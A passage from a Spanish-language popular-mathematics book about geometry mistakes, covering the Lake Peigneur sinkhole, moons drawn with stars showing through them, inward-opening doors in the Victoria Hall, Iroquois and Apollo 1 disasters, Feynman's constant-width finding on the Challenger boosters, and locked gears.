triangulado	 minuciosamente	 la	 localización	 para	 perforar	 en	 busca	 de
petróleo.	 La	 triangulación	 es	 un	 proceso	 con	 el	 que	 se	 calculan	 triángulos
desde	 puntos	 y	 distancias	 fijos	 para	 poder	 localizar	 algún	 nuevo	 punto	 de
interés.	 En	 este	 caso,	 era	 importante	 porque	 la	 Diamond	 Crystal	 Salt
Company	 ya	 estaba	 excavando	 bajo	 el	 suelo	 del	 lago	 y	 Texaco	 tenía	 que
evitar	 perforar	 en	 las	 minas	 de	 sal	 preexistentes.	 Spoiler:	 hicieron	 mal	 los
cálculos.	 Pero	 los	 resultados	 fueron	mucho	más	 dramáticos	 de	 lo	 que	 usted
pueda	estar	imaginando.

Según	Michael	Richard,	que	era	el	director	de	los	cercanos	jardines	Live
Oak	Gardens,	uno	de	los	puntos	de	referencia	de	la	triangulación	era	erróneo.
Este	 desplazó	 la	 perforación	 petrolífera	 unos	 120	 metros	 más	 cerca	 de	 las
minas	de	sal	de	lo	que	debería	estar.	Perforaron	hasta	los	370	metros	antes	de
que	 la	 plataforma	 de	 perforación	 del	 lago	 Peigneur	 empezara	 a	 inclinarse
hacia	 un	 lado.	 Los	 perforadores	 decidieron	 que	 era	 inestable,	 así	 que	 la
evacuaron.	 Lógicamente,	 a	 los	 mineros	 les	 sorprendió	 todavía	 más	 cuando
empezaron	a	ver	que	el	agua	se	dirigía	hacia	su	posición.

El	 agujero	 de	 perforación	 solo	 tenía	 36	 centímetros	 de	 ancho,	 pero	 era
suficiente	para	que	el	agua	fluyera	desde	el	lago	Peigneur	hacia	las	minas	de
sal.	Gracias	 al	 buen	 entrenamiento	 en	 seguridad,	 todo	 el	 equipo	de	mineros
compuesto	por	unas	cincuenta	personas	pudo	salir	sano	y	salvo.	Pero	¿cuánta
agua	podía	albergar	la	mina?	El	lago	tenía	un	volumen	de	unos	10	millones	de
metros	 cúbicos	 de	 agua.	 Pero	 se	 estaba	 extrayendo	 la	 sal	 de	 debajo	 desde
1920	 y	 las	minas	 tenían	 ahora	 un	 volumen	mayor	 que	 el	 volumen	 del	 lago
superior.

A	medida	que	el	agua	iba	penetrando,	la	tierra	se	iba	erosionando	y	la	sal
se	 iba	 disolviendo.	 Pronto,	 el	 agujero	 de	 36	 centímetros	 se	 convirtió	 en	 un
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remolino	furioso	de	400	metros	de	diámetro.	No	solo	vació	todo	el	lago	en	la
mina	de	sal,	sino	que	el	canal	que	unía	el	lago	al	golfo	de	México	cambió	de
dirección	 y	 el	 agua	 empezó	 a	 fluir	 en	 la	 dirección	 contraria,	 hacia	 el	 lago,
formando	una	cascada	de	45	metros.	Once	barcazas	que	estaban	en	el	canal
fueron	arrastradas	hacia	el	 lago	y	cayeron	a	 la	mina.	Dos	días	más	 tarde,	 la
mina	 estaba	 completamente	 llena	 y	 nueve	 de	 esas	 barcazas	 reflotaron	 de
nuevo	a	 la	 superficie.	El	 remolino	había	erosionado	unas	28	hectáreas	de	 la
tierra	 colindante,	 incluyendo	 una	 buena	 parte	 de	 Live	 Oak	 Gardens.	 Sus
invernaderos	siguen	allí	abajo,	en	alguna	parte…

Por	culpa	del	error	en	el	 cálculo	de	un	 triángulo,	un	 lago	de	agua	dulce
que	solo	tenía	3	metros	de	profundidad	se	vació	por	completo	y	se	rellenó	con
agua	 del	 océano.	 Ahora	 es	 un	 lago	 de	 400	metros	 de	 profundidad	 de	 agua
salada,	 lo	que	ha	producido	un	cambio	completo	en	cuanto	a	plantas	y	vida
salvaje.	Lo	increíble	es	que	no	se	perdiera	ninguna	vida	humana,	aunque	uno
de	los	pescadores	que	estaba	en	la	orilla	del	lago	se	llevó	el	susto	de	su	vida
cuando	las	pacíficas	aguas	del	lago	se	abrieron	formando	un	remolino	furioso.

Aunque	 un	 error	 de	 cálculo	 puede	 ser	 tan	 devastador	 como	 lo	 que
acabamos	 de	 contar,	me	 interesan	más	 los	 errores	 de	 geometría	 en	 los	 que
alguien	 no	 ha	 pensado	 adecuadamente	 sobre	 las	 formas	 implicadas,
situaciones	en	 las	que	 la	propia	geometría	es	errónea,	no	solo	su	aplicación.
Lo	que	nos	lleva	a	hablar	de	uno	de	mis	hobbies	favoritos:	encontrar	fotos	de
la	luna	en	las	que	hay	estrellas	que	brillan	a	través	de	ella.

Una	luna	sin	estrellas

Puede	 que	 la	 Luna	 sea	 una	 esfera,	 pero,	 desde	 donde	 la	 vemos,	 parece	 un
círculo.	O,	dicho	con	más	propiedad,	un	disco.	(En	matemáticas,	un	círculo	y
un	 disco	 son	 cosas	 diferentes:	 un	 círculo	 es	 solo	 la	 línea	 que	 rodea	 una
circunferencia,	y	un	disco	está	completamente	lleno.	Un	 frisbee	es	un	disco;
un	hula	hoop	es	un	círculo.	Pero	voy	a	utilizar	esas	palabras	indistintamente,
como	suele	ocurrir	en	el	lenguaje	habitual.)

Por	lo	que,	cuando	la	observamos	desde	la	Tierra	podemos	ver	el	disco	de
la	Luna,	al	menos	cuando	está	en	su	 fase	de	 luna	 llena.	En	ese	momento	 la
Luna	 está	 en	 el	 lado	 más	 alejado	 de	 la	 Tierra	 desde	 el	 Sol	 y	 puede	 estar
completamente	iluminada.	Siempre	que	la	Luna	esté	en	medio,	estará	siendo
iluminada	lateralmente	y	solo	veremos	partes	de	ella	iluminadas.	Es	la	típica
luna	creciente	del	arte	y	la	literatura.	Pero	se	trata	tan	solo	de	un	efecto	de	luz.
En	realidad,	la	Luna	no	tiene	forma	de	media	Luna.
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Incluso	cuando	no	podemos	ver	partes	de	ella,	siguen	estando	físicamente
allí.	 Durante	 la	 fase	 de	 luna	 nueva,	 cuando	 está	 completamente	 iluminada
desde	atrás,	aparece	solo	como	un	círculo	negro,	sin	estrellas	a	su	alrededor
en	 el	 cielo.	 Pero	 cuando,	 en	 ocasiones,	 no	 podemos	 verla,	 ahí	 sigue	 como
silueta.	Razón	 por	 la	 que	me	 enfado	 cuando	 se	muestra	 una	 luna	 creciente,
¡con	estrellas	visibles	a	través	de	su	parte	central!

Barrio	 Sésamo	 es	 un	 reincidente.	 En	 la	 portada	 del	 libro	 de	 Blas	 No
quiero	 vivir	 en	 la	 Luna,	 aparecen	 estrellas	 brillando	 en	medio	 de	 una	 luna
creciente.	 Y	 en	 la	 parte	 titulada	 «C	 en	 el	 espacio»,	 la	 Luna	 parece
sorprendentemente	feliz,	a	pesar	del	hecho	de	que	hay	estrellas	brillando	a	su
través.	De	acuerdo,	sí,	que	la	Luna	tenga	una	expresión	y	emociones	tampoco
es	apropiado	astronómicamente	hablando,	pero	eso	no	es	excusa	para	enseñar
a	 los	 niños	 geometría	 de	 forma	 incorrecta.	 Espero	 más	 de	 un	 programa
supuestamente	«educativo».	La	única	explicación	que	se	me	ocurre	es	que,	en
el	extenso	universo	Barrio	Sésamo,	 existen	bases	de	 teleñecos	en	 la	Luna	y
esos	son	los	puntos	de	luz	que	vemos.

El	dibujo	tiene	sentido	solo	si	suponemos	que	los	puntos	son	estaciones	lunares.

Y	 aún	 peor.	 Hay	 matrículas	 de	 vehículos	 de	 Texas	 que	 celebran	 la
presencia	de	 la	NASA	en	el	estado	de	 la	Estrella	Solitaria.	El	 transbordador
que	despega	a	 la	 izquierda	es	sorprendentemente	preciso,	ascendiendo	hacia
un	 lado	 en	 lugar	 de	 hacerlo	 directamente	 hacia	 arriba.	 Esto	 podría	 parecer
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incorrecto,	 pero	 el	 transbordador	 espacial	 necesitaba	 una	 gran	 cantidad	 de
velocidad	 lateral	para	ser	capaz	de	ponerse	en	órbita.	El	espacio	no	está	 tan
lejos:	 mientras	 escribo	 esto,	 la	 Estación	 Espacial	 Internacional	 está	 a	 una
altitud	 de	 solo	 422	 kilómetros.	 Pero	 para	 que	 algo	 permanezca	 en	 órbita
necesita	moverse	alrededor	de	la	Tierra	a	una	velocidad	de	unos	27.500	km/h;
es	decir,	7,6	km	cada	segundo.	Ir	al	espacio	es	fácil.	Mantenerse	en	él	es	 lo
difícil.

Pero	 a	 la	 derecha	 de	 la	 matrícula	 hay	 una	 luna	 creciente	 e,
inquietantemente	cerca	de	ella,	hay	una	estrella.	A	simple	vista,	parece	que	la
estrella	está	brillando	a	través	de	lo	que	sería	el	disco	de	la	Luna.	Tenía	que
comprobarlo	para	estar	seguro,	así	que	compré	en	línea	algunas	matrículas	de
Texas	 en	 desuso	 para	 inspeccionarlas	 minuciosamente.	 Decidí	 estudiar	 la
matrícula	99W	CD9,	y	escaneé	y	completé	digitalmente	el	resto	de	la	Luna.
Y,	en	efecto,	la	estrella	solitaria	debe	estar	oculta	por	la	Luna.	En	este	caso,
WCD	 son	 las	 iniciales	 de	 «Wrong	 Celestial	 Design»	 (Diseño	 Celeste
Erróneo).
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Contiene	noventa	y	nueve	diseños	celestes	erróneos,	pero	el	lanzamiento	no	es	uno	de	ellos.

Las	puertas	de	la	muerte

Encuentro	que	la	geometría	de	las	puertas,	cerraduras	y	cerrojos	es	fascinante.
Pensará	que	asegurar	 la	propiedad	de	uno	es	algo	que	hay	que	tomarse	muy
en	 serio,	 pero	 al	 parecer	 mucha	 gente	 no	 piensa	 en	 la	 dinámica	 de	 cómo
funcionan	puertas	y	verjas.	Me	encanta	ver	que	hay	gente	que	ha	comprado
un	gran	cerrojo	pero	que	ha	dejado	los	tornillos	que	lo	sujetan	al	descubierto.
O	 que	 hayan	 dejado	 el	 espacio	 suficiente	 para	 que	 se	 pueda	 deslizar	 el
candado	 sin	 tener	 que	 abrirlo.	 Si	 encuentra	 alguno	 de	 estos	 ejemplos,	 por
favor	mándeme	una	foto.	Y,	sin	duda,	eche	un	vistazo	de	más	cerca	siempre
que	piense	que	algo	está	«cerrado».	Puede	que	no	lo	esté.

Historia	 hipotética:	 mi	 esposa	 y	 su	 familia	 estaban	 visitando	 su	 hogar
natal	 y	 me	 llevaron	 a	 ver	 el	 cementerio	 local,	 donde	 estaba	 enterrado	 un
querido	miembro	de	la	familia.	Aunque	no	comprobamos	(hipotéticamente)	el
horario	de	apertura	del	cementerio	y	sus	puertas	estaban	cerradas.	Me	fijé	en
la	puerta	y	me	di	cuenta	de	que,	si	levantabas	una	parte	del	cerrojo,	las	puertas
quedaban	 libres	 del	 candado.	 Quiero	 decir,	 si	 eso	 hubiera	 ocurrido	 en	 la
realidad	(en	lugar	de	hipotéticamente),	hubiera	sido	el	héroe	del	día	(y	luego,
por	supuesto,	habría	vuelto	a	«cerrar»	respetuosamente	 la	puerta	después	de
presentar	nuestros	respetos).

Estos	son	errores	de	aficionado	en	los	que	a	alguien	le	han	hecho	colocar
una	cerradura	y	este	no	 lo	ha	pensado	mucho.	Afortunadamente,	hoy	en	día
un	 experto	 habrá	 planificado	 cómo	 han	 de	 ser	 las	 entradas	 y	 salidas	 de	 un
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edificio,	 pero	 no	 siempre	 fue	 así.	 Muchas	 vidas	 se	 han	 salvado	 o	 perdido
como	 consecuencia	 de	 la	 sencilla	 geometría	 de	 la	 forma	 en	 la	 que	 debería
abrirse	una	puerta.

Montaje	incorrecto	y	correcto	de	un	cerrojo:	¿Se	ha	olvidado	las	llaves?	No	hay	problema,	solo	tiene
que	quitar	un	par	de	tornillos	y	ya	está.

Como	regla	general,	las	puertas	se	deberían	abrir	en	la	dirección	necesaria
en	caso	de	que	hubiera	una	emergencia.	Dada	la	localización	de	las	bisagras,
una	 puerta	 se	 abre	 fácilmente	 en	 una	 sola	 dirección;	 toda	 entrada	 tiene	 un
sentido	 u	 otro.	 A	 una	 puerta	 o	 le	 encanta	 dejar	 que	 la	 gente	 entre	 en	 la
habitación	o	 amablemente	 saca	 a	 todo	 el	mundo	de	 ella.	La	mayoría	 de	 las
puertas	de	una	casa	se	abren	hacia	las	habitaciones	(para	evitar	que	la	puerta
bloquee	 un	 salón),	 por	 lo	 que	 es	 ligeramente	 más	 fácil	 entrar	 en	 una
habitación	 que	 salir	 de	 ella.	 La	 mayor	 parte	 del	 tiempo,	 esto	 no	 supone
problema	alguno:	esperas	un	par	de	 segundos	para	abrir	 la	puerta	hacia	 ti	y
luego	sales.	Ni	siquiera	pensamos	en	ello.	Hasta	que	hay	cientos	de	personas
además	de	ti	intentando	hacer	lo	mismo.
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Ahora	estará	esperando	que	cuente	una	historia	sobre	un	incendio	y	sobre
un	montón	de	gente	intentando	salir	a	toda	velocidad	de	un	edificio.	Pero	no
lo	voy	a	hacer.	La	dirección	en	la	que	se	mueve	una	puerta	puede	ser	igual	de
importante	sin	necesidad	de	que	se	haya	producido	un	incendio	que	desate	el
pánico.	En	1883,	el	 teatro	Victoria	Hall	de	Sunderland,	cerca	de	Newcastle,
estaba	albergando	un	espectáculo	de	The	Fays	que	aseguraba	 ser	«la	mayor
diversión	de	la	historia	para	niños».	Alrededor	de	dos	mil	niños,	entre	siete	y
once	años,	 la	mayor	parte	de	los	cuales	sin	la	supervisión	adecuada,	estaban
abarrotando	 el	 teatro.	 No	 se	 prendió	 ningún	 fuego,	 pero	 ocurrió	 algo	 que
provocó	 igualmente	 histeria	 a	 un	 grupo	 de	 estas	 edades.	 Fue	 la	 promesa
repentina	de	juguetes	gratis.

Los	 niños	 de	 la	 planta	 baja	 recibían	 sus	 juguetes	 directamente	 desde	 el
escenario,	pero	los	1.100	niños	de	la	planta	superior	tuvieron	que	bajar	por	las
escaleras	para	 ir	 recibiendo	sus	 juguetes	a	medida	que	 iban	abandonando	el
edificio	 enseñando	 el	 número	 de	 su	 entrada	 cuando	 salían.	 Las	 puertas
situadas	 al	 final	 de	 las	 escaleras	 no	 solo	 se	 abrían	 hacia	 dentro,	 sino	 que
también	 las	 habían	 dejado	 entreabiertas	 y	 las	 habían	 fijado	 para	 que	 solo
pudiera	 pasar	 un	niño	 cada	vez,	 haciendo	más	 fácil	 la	 comprobación	de	 las
entradas.	Sin	los	suficientes	adultos	para	controlar	la	cola,	los	niños	bajaron	a
toda	 prisa	 por	 las	 escaleras	 para	 ser	 los	 primeros	 en	 salir.	Murieron	 ciento
ochenta	y	tres	niños	en	la	aglomeración	que	se	formó	contra	las	puertas.

Fue	necesaria	hora	y	media	para	evacuar	a	todos	los	niños	del	hueco	de	la
escalera.	Los	rescatadores	intentaron	retirar	frenéticamente	a	los	niños	uno	a
uno	a	través	del	hueco	de	las	puertas;	fueron	incapaces	de	abrir	 la	puerta	en
dirección	 al	 hueco	 de	 la	 escalera	 para	 permitir	 así	 salir	 a	 los	 niños.	 Las
muertes	se	produjeron	por	asfixia.	Como	suele	ocurrir	en	todas	las	estampidas
humanas,	 los	niños	que	empujaban	hacia	delante	 en	 la	parte	 superior	de	 las
escaleras	no	tenían	ni	idea	de	que	la	gente	de	abajo	no	tenía	adónde	ir.

Puede	que	 resulte	 fácil	 distanciarnos	de	estos	niños.	Murieron	hace	más
de	un	siglo.	Para	recordarme	a	mí	mismo	que	eran	personas	reales,	me	fijo	en
la	lista	de	sus	nombres.	Al	repasarla,	encuentro	a	Amy	Watson,	una	niña	de
trece	años	que	 se	 llevó	a	 sus	hermanos	pequeños	Robert	 (de	doce)	y	Annie
(de	diez)	al	espectáculo.	Su	casa	estaba	a	media	hora	caminando,	atravesando
la	 ciudad	 y	 cruzando	 el	 río	 hasta	 llegar	 al	 teatro.	 Los	 tres	 murieron	 en	 la
tragedia.

Si	 las	puertas	se	hubieran	podido	abrir	de	forma	fácil	y	por	completo	en
una	 emergencia	 como	 esa,	 las	 víctimas	 podrían	 haber	 sido	muchas	 menos;
puede	 que	 incluso	 no	 hubiera	 habido	 ninguna.	 Esto,	 por	 supuesto,	 se	 le
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ocurrió	 a	 todo	 el	mundo	 en	 los	 días	 posteriores	 y,	 después	 de	 una	 protesta
nacional	(dos	investigaciones	fracasaron	a	la	hora	de	encontrar	un	culpable),
el	 Parlamento	 del	 Reino	 Unido	 aprobó	 leyes	 que	 obligaban	 a	 que	 hubiera
puertas	 de	 salida	 que	 se	 abrieran	 hacia	 fuera.	 Inspirada	 en	 el	 incidente	 del
Victoria	Hall,	se	inventó	la	«barra	antipánico	de	empuje»,	gracias	a	la	cual	se
podía	 cerrar	 una	 puerta	 desde	 el	 exterior	 por	 razones	 de	 seguridad,	 pero	 se
podía	abrir	desde	dentro	con	un	simple	empujón.

Estados	Unidos	sufrió	sus	propios	desastres,	en	este	caso,	fuegos	en	lugar
de	 promesas	 de	 juguetes	 gratis.	Un	 fuego	 desatado	 en	 el	 teatro	 Iroquois	 de
Chicago	 en	 1903	 mató	 a	 602	 personas	 y,	 hasta	 el	 día	 de	 hoy,	 es	 el	 fuego
producido	 en	 un	 único	 edificio	 que	 ha	 matado	 a	 más	 personas	 en	 toda	 la
historia	de	Estados	Unidos.	El	material	y	el	diseño	del	edificio	favorecieron	el
rápido	 avance	 de	 las	 llamas,	 pero	 las	 pocas	 salidas	 útiles,	 que	 además	 se
abrían	hacia	dentro,	contribuyeron	a	la	tragedia.	Los	cambios	posteriores	que
se	 realizaron	 en	 el	 código	 de	 incendios	 obligaban	 a	 que,	 en	 los	 edificios
públicos,	 las	puertas	 se	 abrieran	hacia	 fuera,	 pero	hizo	 falta	un	 tiempo	para
que	 su	 implementación	 fuese	 generalizada.	 En	 el	 fuego	 de	 1942	 que	 se
propagó	 por	 el	 Cocoanut	 Grove	 Night	 Club	 de	 Boston,	 murieron	 492
personas.	Los	bomberos	atribuyeron	directamente	trescientas	de	esas	muertes
a	las	puertas	que	se	abrían	hacia	dentro.

La	 cuestión	 de	 hacia	 qué	 lado	 se	 deberían	 abrir	 las	 puertas	 en	 otras
situaciones	 no	 es	 tan	 obvia.	 ¿Qué	 decir	 en	 el	 caso	 de	 una	 nave	 espacial?
Durante	el	programa	Apolo,	la	NASA	tuvo	que	decidir	si	las	escotillas	de	la
cabina	de	la	nave	espacial	se	tenían	que	abrir	hacia	dentro	o	hacia	fuera.	Una
puerta	 que	 se	 abriera	 hacia	 fuera	 sería	 más	 sencilla	 de	 manejar	 para	 la
tripulación	y	se	podía	equipar	con	cinturones	explosivos	que	se	podían	hacer
estallar	 en	 caso	 de	 emergencia,	 por	 lo	 que	 esa	 fue	 la	 elección	 inicial.	 Pero
después	del	amerizaje	en	el	océano	del	segundo	viaje	tripulado	de	la	NASA,
Mercury-Redstone	4,	la	escotilla	se	abrió	inesperadamente	y	el	astronauta	Gus
Grissom	tuvo	que	salir	porque	el	agua	del	mar	empezó	a	inundarla.

Por	lo	que	la	cabina	de	la	primera	nave	espacial	Apolo	tuvo	una	escotilla
que	se	abría	hacia	dentro.	La	cabina	se	mantenía	ligeramente	por	encima	de	la
presión	 atmosférica	 y	 esta	 diferencia	 de	 presión	 ayudaba	 a	 mantener	 la
escotilla	 cerrada.	 Salir	 de	 la	 nave	 espacial	 implicaba	 liberar	 la	 presión	 que
mantenía	cerrada	la	escotilla.	Pero	durante	el	inicio	de	un	ensayo	general	(en
el	que	la	nave	espacial	estaba	desconectada	de	los	sistemas	de	apoyo	y	a	plena
potencia	para	probarlo	todo	excepto	el	despegue	real),	se	desató	un	incendio.
Un	 entorno	 rico	 en	 oxígeno,	 y	 el	 nailon	 y	 el	 velcro	 inflamables	 (utilizados
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para	 mantener	 el	 equipamiento	 en	 su	 lugar),	 hicieron	 que	 las	 llamas	 se
propagaran	rápidamente.

El	calor	provocado	por	el	fuego	aumentó	la	presión	del	aire	en	la	cabina
hasta	el	punto	de	que	era	imposible	abrir	la	escotilla.	Los	tres	astronautas	que
estaban	 en	 el	 interior,	 Gus	Grissom,	 Edward	White	 II	 y	 Roger	 Chaffee,	 se
vieron	 atrapados	 y	 murieron	 por	 la	 asfixia	 causada	 por	 el	 humo	 tóxico.
Hicieron	falta	cinco	minutos	para	abrir	la	escotilla	de	la	cabina	y	rescatar	a	la
tripulación.

Más	tarde	se	supo	que	los	astronautas	del	Apolo	ya	habían	pedido	que	las
escotillas	 se	 abrieran	 hacia	 afuera,	 para	 así	 poder	 salir	 más	 fácilmente	 a
realizar	sus	paseos	espaciales.	Después	de	la	investigación	sobre	el	incendio,
además	de	cambiar	la	concentración	de	oxígeno	y	los	materiales	utilizados	en
la	cabina,	en	todos	los	vuelos	espaciales	tripulados	de	la	NASA	las	escotillas
se	cambiaron	para	que	se	abrieran	hacia	afuera	por	razones	de	seguridad.

Esta	tragedia	condujo	a	una	peculiaridad	numérica	de	las	misiones	Apolo.
Aunque	 la	 nave	 espacial	 nunca	 fue	 lanzada,	 la	 misión	 a	 cargo	 de	 Gus
Grisoom,	Edward	White	 II	 y	Roger	Chaffee	 fue	 nombrada	 en	 retrospectiva
Apolo	1	como	muestra	de	respeto	hacia	ellos,	en	lugar	de	mantener	su	nombre
en	clave,	AS-204.	Oficialmente,	el	primer	lanzamiento	real	es	el	que	debería
haberse	llamado	Apolo	1	pero,	debido	a	lo	sucedido,	se	declaró	que	el	AS-204
fue	el	primer	vuelo	oficial	de	las	misiones	Apolo,	a	pesar	de	que	«falló	en	la
prueba	en	tierra».	Este	suceso	causó	un	extraño	efecto	colateral	porque,	ahora,
dos	 lanzamientos	 no	 tripulados	 previos	 (el	AS-201	y	 el	AS-202;	 el	AS-203
fue	 una	 prueba	 con	 cohetes	 y	 por	 lo	 tanto	 no	 contaba	 como	 lanzamiento
oficial)	 eran	 también,	 en	 retrospectiva,	 parte	 del	 programa	 Apolo,	 aunque
nunca	 recibieron	 una	 denominación	 Apolo.	 Por	 lo	 tanto,	 el	 primer
lanzamiento	 tripulado	 recibió	 el	 nombre	de	Apolo	4,	 lo	 cual	 constituye	una
curiosa	 cuestión	 de	 cultura	 general,	 ya	 que	 el	Apolo	 2	 y	 el	Apolo	 3	 nunca
existieron.

Más	que	simples	juntas	tóricas

Cuando	el	28	de	enero	de	1986	la	lanzadera	espacial	Challenger	explotó	poco
después	de	su	despegue	matando	a	las	siete	personas	que	estaban	a	bordo,	se
creó	 una	 Comisión	 Presidencial	 para	 investigar	 las	 causas	 del	 desastre.
Además	de	 incluir	 en	ella	a	Neil	Armstrong	y	Sally	Ride	 (la	primera	mujer
estadounidense	 en	 el	 espacio),	 en	 dicha	 comisión	 también	 estaba	 el	 físico
ganador	del	premio	Nobel,	Richard	Feynman.
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El	Challenger	explotó	debido	a	una	fuga	producida	en	uno	de	sus	cohetes
propulsores	 sólidos.	Para	 el	despegue,	 la	 lanzadera	 tenía	dos	cohetes	de	ese
tipo,	cada	uno	de	ellos	con	un	peso	de	unas	500	toneladas	y,	por	increíble	que
parezca,	 utilizaban	 metal	 como	 combustible:	 quemaban	 aluminio.	 Una	 vez
que	se	gastaba	el	combustible,	los	cohetes	propulsores	sólidos	se	soltaban	de
la	 lanzadera	 a	 una	 altitud	 de	 unos	 40	kilómetros	 para	 después	 desplegar	 un
paracaídas	 con	 el	 que	 amerizaban	 en	 el	 océano	 Atlántico.	 Esos	 cohetes	 se
reutilizarían,	por	 lo	que	 la	NASA	enviaría	barcos	para	que	 los	 recogiesen	y
así	poder	reacondicionarlos	y	recargarlos.

Cuando	 los	 cohetes	 se	 estrellaran	 contra	 el	 océano,	 no	 serían	 más	 que
tubos	prácticamente	vacíos.	Se	habían	construido	con	una	sección	transversal
perfectamente	circular,	pero	el	impacto	podía	deformarlos	ligeramente,	como
también	 podía	 tener	 esa	 consecuencia	 transportarlos	 sobre	 uno	 de	 sus
costados.	Como	parte	de	la	restauración,	se	desmontaban	en	cuatro	secciones,
se	 comprobaba	 cuán	 deformados	 estaban,	 se	 les	 volvía	 a	 dar	 una	 forma
perfectamente	circular	y	se	ensamblaban.	Se	colocaban	unas	juntas	de	goma
llamadas	 juntas	 tóricas	 entre	 las	 secciones	 para	 proporcionar	 un	 sellado
hermético.

Fueron	 estas	 juntas	 tóricas	 las	 que	 fallaron	 durante	 el	 lanzamiento	 del
Challenger,	permitiendo	que	escaparan	los	gases	calientes	de	los	propulsores,
con	 lo	que	empezó	una	cadena	de	sucesos	que	condujeron	a	su	destrucción.
Como	 todo	 el	 mundo	 sabe,	 durante	 la	 investigación,	 Richard	 Feynman
demostró	cómo	 las	 juntas	 tóricas	perdieron	elasticidad	a	bajas	 temperaturas.
Era	 fundamental	 que,	 a	medida	 que	 las	 distintas	 secciones	 del	 propulsor	 se
movieran,	 los	 anillos	 retrocedieran	 para	 mantener	 el	 sellado.	 Frente	 a	 los
medios	de	comunicación,	Feynman	colocó	parte	de	la	goma	de	la	que	estaban
formadas	 las	 juntas	 en	 un	 vaso	 de	 agua	 helada	 y	 demostró	 que	 ya	 no
recuperaban	su	posición.	Y	el	día	del	lanzamiento,	el	28	de	enero,	fue	un	día
muy	frío.	Caso	cerrado.

Pero	 Feynman	 también	 descubrió	 un	 segundo	 problema	 con	 el	 sellado
entre	las	distintas	secciones	del	propulsor,	un	sutil	efecto	matemático	que	no
se	podría	haber	demostrado	con	la	cautivadora	visión	de	la	goma	deformada
en	 un	 vaso	 de	 agua	 helada.	 Comprobar	 si	 una	 sección	 transversal	 de	 un
cilindro	 sigue	 siendo	 circular	 no	 es	 tan	 fácil.	 Para	 los	 propulsores,	 el
procedimiento	para	hacerlo	 fue	medir	 el	 diámetro	 entre	 lugares	diferentes	y
asegurarse	de	que	 los	 tres	eran	 iguales.	Pero	Feynman	se	dio	cuenta	de	que
con	esto	no	bastaba.
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Cuando	escribió	sobre	su	investigación,	Feynman	recordó	cuando	de	niño
vio	 en	 un	museo	 «ruedas	 dentadas	 no	 circulares,	 de	 aspecto	 peculiar	 y	 con
figuras	 extrañas»	 que	 permanecían	 a	 la	 misma	 altura	 mientras	 rotaban.	 No
dijo	 su	 nombre,	 pero	 inmediatamente	 supe	 que	 eran	 «figuras	 de	 ancho
constante».	 Me	 encantan	 estas	 figuras	 y	 ya	 he	 escrito	 extensamente	 sobre
ellas	anteriormente[6].	A	pesar	de	no	ser	círculos,	siempre	tienen	un	diámetro
medido	este	en	cualquier	dirección.

Es	obvio	que	la	figura	17	dibujada	por	Feynman	en	su	informe,	no	es	un
círculo,	pero	sí	que	 tiene	 tres	diámetros	 idénticos.	Podría	haber	 ido	un	paso
más	lejos.	Se	pueden	realizar	miles	de	medidas	de	diámetros	en	una	figura	de
ancho	constante,	como	es	el	triángulo	Reuleaux,	y	podrían	todos	ser	iguales,	a
pesar	de	que	la	figura	dista	mucho	de	ser	circular.

Si	 un	 propulsor	 se	 había	 deformado	 convirtiéndose	 en	 una	 sección
transversal	 de	 un	 triángulo	 de	 Reuleaux,	 los	 ingenieros	 tendrían	 que	 haber
sido	capaces	de	percatarse	de	ello	fácilmente,	pero	esta	clase	de	deformación
puede	producirse	en	una	escala	mucho	más	pequeña;	podría	no	ser	visible	a
simple	vista	y,	aun	así,	seguir	siendo	una	deformación	que	pudiera	cambiar	la
forma	 de	 la	 junta.	 Las	 figuras	 de	 ancho	 constante	 a	 menudo	 tienen	 una
protuberancia	en	un	lado	y	una	sección	plana	en	el	otro	para	compensar.

La	figura	de	Feynman	con	tres	diámetros	idénticos	junto	a	otra	figura	que	tiene	infinitos.	Está	claro
que	ninguna	de	las	dos	es	un	círculo.
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Feynman	consiguió	estar	un	rato	a	solas	con	los	ingenieros	que	trabajaron
con	 estas	 secciones	 de	 los	 propulsores.	Les	 preguntó	 si,	 incluso	 después	 de
medir	 los	 diámetros	 (confirmando	 con	 ello	 que	 la	 forma	 era	 perfectamente
circular),	 seguían	 teniendo	 esas	 deformaciones	 a	 base	 de	 protuberancias	 y
partes	planas.

«¡Sí,	sí!»,	respondieron.	«Vimos	protuberancias	como	esa.	Las	llamamos
pezones.»	Este,	de	hecho,	era	un	problema	que	se	producía	regularmente,	pero
no	parecía	 que	 se	hubiese	hecho	 algo	 al	 respecto.	 «Nos	 encontrábamos	 con
pezones	todo	el	rato.	Hemos	intentado	contárselo	al	supervisor,	¡pero	nada	de
nada!»

El	 informe	 final	 confirma	 todo	 esto.	 El	 funcionamiento	 de	 las	 juntas
tóricas	 fue	 claramente	 la	 causa	 primera	 del	 accidente	 y	 sigue	 siendo	 la
conclusión	 que	 apareció	 en	 todos	 los	 titulares	 que	 la	 mayoría	 de	 gente
recuerda.	 Pero,	 además	 de	 la	 conclusión	 respecto	 a	 las	 juntas	 tóricas	 y	 las
recomendaciones	 sobre	 cómo	 debería	 gestionar	 la	 NASA	 la	 comunicación
entre	 los	 ingenieros	 y	 la	 dirección,	 también	 hay	 una	 Conclusión	 #5:	 «Se
observó	que	 la	zona	existente	entre	 los	dos	segmentos	no	era	perfectamente
redonda».	La	NASA	derrotada	por	simple	geometría.

Por	una	rueda	dentada

Como	 antiguo	 profesor	 de	 instituto,	 tengo	 un	 póster	 en	 mi	 despacho	 que
proclama	que	«La	educación	funciona	mejor	cuando	 todos	sus	componentes
funcionan».	 Muestra	 tres	 ruedas	 dentadas	 con	 las	 etiquetas	 «profesor»,
«estudiante»	 y	 «padres»,	 todos	 unidos.	 Este	 póster	 se	 ha	 convertido	 en	 un
meme	 de	 internet	 con	 la	 descripción	 «mecánicamente	 imposible,	 aunque
preciso»	 porque	 las	 tres	 ruedas	 dentadas	 conectadas	 no	 se	 pueden	 mover.
Nada	de	nada.	Se	quedan	bloqueadas.	Si	queremos	que	se	muevan,	hay	que
quitar	una	de	las	tres	(según	mi	experiencia:	los	padres).

El	 problema	 es	 que,	 si	 una	 rueda	 dentada	 funciona	 en	 el	 sentido	 de	 las
agujas	 del	 reloj,	 cualquier	 otra	 que	 esté	 unida	 a	 ella	 tendrá	 que	 girar	 en	 el
sentido	contrario.	Los	dientes	encajan	 juntos,	por	 lo	que,	si	 la	 rueda	de	«los
profesores»	va	en	el	sentido	de	las	agujas	del	reloj,	los	dientes	de	la	derecha
empujarán	 a	 los	 dientes	 del	 lado	 izquierdo	 de	 la	 rueda	 «estudiantes»	 hacia
abajo,	haciendo	que	esta	gire	en	el	sentido	contrario	a	las	agujas	del	reloj.	El
